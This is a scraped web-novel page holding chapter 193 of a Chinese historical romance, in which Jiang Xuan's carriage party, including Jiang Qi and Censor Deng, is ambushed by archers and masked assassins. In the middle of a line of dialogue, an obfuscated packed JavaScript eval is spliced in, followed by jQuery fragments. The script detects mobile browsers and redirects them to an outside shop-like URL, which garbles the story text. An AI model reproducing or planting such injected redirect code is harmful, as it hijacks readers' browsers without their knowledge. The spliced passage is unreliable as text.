默认冷灰
24号文字
方正启体

193. 第 193 章

作者:绿蚁新酒本书字数:K更新时间:
    风起,碑前纤瘦香烛颤巍巍晃动,灯心时明时暗,终归于平息。


    入京这些年发生太多事,江萱面向墓碑一一讲来,未几已至黄昏。


    江萱本想再多停留些许,奈何出门前答应过江太夫人日落前归家,遂扶着阿芷手臂蹒跚起身。


    青烟寥寥直上云霄,不知天上人是否知晓。


    车马碌碌使出陵园,江萱靠在厢壁上只觉一阵疲惫。


    明明事情已然了结,不知为何她却迟迟难以松懈。


    或是因为不知道自己前路而感到迷茫,或是见过江老爷与江家二位兄长的相对冷情,江萱眉头紧锁,心头不安跳动。


    忽地车马紧急一个刹住,险些将人甩到车外头,也让江萱从不安情绪中暂时挣脱。


    阿芷的额头恰好撞在车壁上,只觉得一阵疼痛,待缓过来正要追问车夫是怎么驾马的,忽而听见外头熟悉的关切声响起。


    “江姑娘,你无事吧?”


    江萱闻声撩开车帘一角,清冷的寒风一吹让她更清醒。


    江萱淡淡扫过江祁的一身绿衣,又瞥了眼他身后跟着的人马,嘴角露出一丝若有若无的嘲讽笑意,直勾勾地盯着江祁看去:“江大人?还是这么巧,又遇到你了。”


    江祁悻悻一笑,坐下乌黑色马儿不耐烦原地踏步,江祁顺手安抚,遮掩面上情绪。


    江萱犹记得江二郎前些日子的隐瞒,而江祁身为齐王身边人如何不晓得齐王行踪,这份火气难消,说话间不由夹枪带棒。


    “江大人怎么有空在此地闲逛,不用陪齐王殿下畅意山水吗?”


    江祁好似没有听说江萱言中的火气,拽紧缰绳敛眸道:“殿下身体未愈尚在修养,殿下曾说过待他身体好转再来拜见姑娘。”


    江萱盯着江祁看了好一会儿,见他不动神色顿觉无趣,冷哼一声正要撤手放帘,只见不远处一青衣银銙中年男子骑马而来,语气颇为忧虑。


    “江参军,我们似是撞上江家的车架,怕是不好善了。”


    来人正说着,瞥见车中这位不知江家哪位娘子正淡漠盯着自己看,瞬间勒马警惕,直到看见江祁弯身与江萱说话,才微微放缓些神情。


    “江参军认识江娘子?”来人试探问道。


    江祁浅笑点了点头,又扭头对江萱说道:“我如今是齐王府的录事参军,这位是监察御史邓大人。”


    “原来是邓御史,家父曾赞过邓大人为人清正忠直勤勉,三娘拜服。”


    因在车架上,周身又无长辈在侧,江萱朝邓御史点了点头只当作见礼。


    “这是礼部尚书江大人家的三娘子,同兄长一道回庐州省亲。”


    邓御史尚有些不知所措,还是江祁先张了口介绍,才叫他明了些。


    “原来是江三娘子,邓某不敢得娘子称赞,只是尽应尽之责罢了。”邓御史拱了拱手,随意道。


    “邓御史过谦了。”大周设监察御史十五人,掌分察百僚,巡按州县,权力之广辐射各道。


    江萱无意在此与他起争端,直言问道:“不知前头是发生了何事,让御史大人这般烦恼?”


    邓御史踌躇不已,斜眼瞧向江祁,见他微微点头,旋即实言相告,言语间却又有些惶恐不安:“队伍里的孽畜发了狂撞伤了江家仆役,烦请江姑娘不要责怪。”


    江萱探头望去,果见不远处一匹骏马发疯狂踢,江氏仆役与江祁身后壮丁多人合力才将其堪堪制服,委委屈屈地倒在血泊中。


    江萱看不下去,连忙撤回眼神,安抚起邓御史来:“畜生难驯,发疯癫狂非人可预料,邓大人不必自责。至于那位家丁,江家自会派人医治。”


    空气中弥漫一股血腥气使得人畜不安,江萱见邓御史面有焦急之色,又见填天色渐沉,心下了然些许。


    “邓御史是有什么要紧差事吗?”江萱故意问道。


    邓御史自然不会说实话,只道:“也没什么要紧差事,只是等到天黑,进城怕是麻烦。”


    江萱看了一眼天边的太阳,又见前头收拾还要许久,邀约道:“若是邓御史不嫌弃,不如和我们一道走吧?”


    江祁勒缰绳的手一紧,抿唇正要说些什么,而邓御史则大喜道:“如此就有劳了。”


    见状江祁只得作罢,何况江氏在庐江城势大,他与邓御史此行若能与江氏关系拉近,也是件事半功倍的事。


    马车缓缓调转方向,绕过一地狼藉,直到走出许久才闻不到那股子血腥气。


    江祁和邓御史与江萱车架并行,两侧有护卫部曲戍守,后头又跟随仆役两列,一时间车马慢行。


    “邓御史此行可有什么要紧事?”江萱探问道。


    邓御史捋一捋胡须,不紧不慢笑答:“不过是看了看附近几个村庄的收成,今年钱粮颇丰,想来百姓们也可过个好年。”


    江萱却不信他所言。


    监察御史隶属御史台,虽官居七品,然上可对帝王直谏,下可察百官之失,便是寻常的刺史也奈何他不得。


    江萱没有戳穿,只是顺着他的话说下去:“前些年闹灾荒,庄子上饿死好些人,卖儿鬻女的看着着实可怜。好在祖母善心,买下了那些人与地,给了他们一口饭吃,否则怕是要饿死更多。”


    邓御史闻言脸色顿时一僵,旋即又笑着附和,然眼底却不复方才的和善,更添一丝锐利光芒。


    江萱安坐车内自是看不见邓御史脸上变化,只听得车外疑是邓御史亲近仆役劝道:“邓公,近来风大,你要不还是回车上歇息吧?”


    “不碍事不碍事,马上就到了。现在上车怕是又要耽搁不少时间,还是算了。”


    话音未落,金铁破风之声乍起。


    江萱尚未反应过来,便有一支木箭从眼前划过,牢牢地钉死在车壁上。


    刹那间,外头马声嘶鸣,又一阵人声鼎沸,疾呼道:“不好,有山贼!”


    经淮河一遇,江萱虽有瞬时无措,很快便镇定下来,起身就要掀帘下车。


    然未几车帘全部掀开,又是一支羽箭直直朝她面门射来。


    江萱一时难以躲避,眼见那羽箭即将射至眼前,忽有一人侧身将她推进车厢,硬生生由那支羽箭穿过肩胛,淋得一头血色。


    “江大人!


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530469|203676||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    江萱再次慌忙撩起车帘,只见那替她挡下羽箭的人正是江祁。


    血液浸润青色官服,被羽箭射中的那一块伤处瞬间染成乌色,其间隐隐透着一抹红。


    江萱看着江祁一边躲避明枪暗箭,一边为她的车架保驾护航,心头不由动容,不禁关切问道:“江大人,你受伤了!”


    江祁利落地砍断箭身,把江萱牢牢地护在马车内,又瞥见她眼角微红只当她是害怕,旋即柔声抚慰道:“江姑娘放心,这不是冲你来的,你躲好就是。”


    说罢,江祁一抬手,又一支羽箭被他击落地下。


    我在明敌在暗,纵然江萱不通兵书却也明白这样的道理。


    眼下漫天箭雨,保不齐从哪里射出来一支箭刺伤江祁。她虽与江祁交往不深,却也知他是一个好人,实在不忍他倒在自己面前,旋即关切道:“江大人,那你呢?”


    江祁低头愣了愣,江萱才发现自己方才情急之下竟拽住他的衣袖,脸颊不由觉得发烫。


    然尚未等她得到江祁回复,箭雨骤停,旋即从林子里窜出一伙黑衣蒙面人,把他们一行人紧紧围困在中央。


    江萱见此景顿觉不妙,·正要劝说江祁上车,却被他一把推倒车厢内部,又听得他唤道“阿芷,照顾好她!”,旋即冲上前与那货黑衣人缠斗起来。


    江萱狐疑地看向阿芷,只见阿芷茫然地摇摇头,又想着眼下不是深究阿芷与江祁是何时认识的时候,微微撩开车帘一角向外头看去。


    江祁一行人带的扈从虽多,然在适才箭雨零落下折损不少。现下黑衣人在其受伤后乍然出现,即便那些扈从都是一些以一抵十的好手,到底是有些力不从心。


    何况这些黑衣人看着并不打算与那些扈从缠斗,剑剑似是冲着场上唯二穿着青绿色服饰的人去,且每招每试皆有章法,不像是寻常打家劫舍的贼寇。


    江萱眉心紧皱,看向与黑衣人打斗正处下风的青绿二色,心头忽地一跳。


    邓御史……御史……庐州……齐王……


    江萱似是想到了什么,瞳孔骤然放大。


    她想起出门前江二郎给她的求救烟火,忙搜身寻找起来,未几想起自己还生着他的气没有带在身上不由懊恼起来。


    只是如今懊恼已全然无用,江萱看向窗外战局只觉得一阵揪心。


    邓御史已过壮年,提剑舞几下不成问题,然要与这一等一的高手相抗衡,实在是强人所难。


    而江祁只不过比江萱大几岁,边躲明枪暗箭边护着邓御史,分身乏术不提,更遑论双拳难敌四手。


    眼见败局已定,长剑几要刺穿江祁腹部,江萱紧紧咬住牙关眼却红了。


    骤然远处一支飞箭洞穿黑衣人的手掌,堪堪救下江祁。


    江萱心头一松,顺着箭来方向看去。


    只见不远处江二郎举弓率一队人马狂袭而来,神色冷峻肃杀得好似在战场。


    江萱却被江二郎身后那抹昏黄吸引去目光,直至江二郎行至身前将那伙黑衣人斩杀殆尽,才恍然觉得脸上划过几滴无味温热液体。


    日终昏沉。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)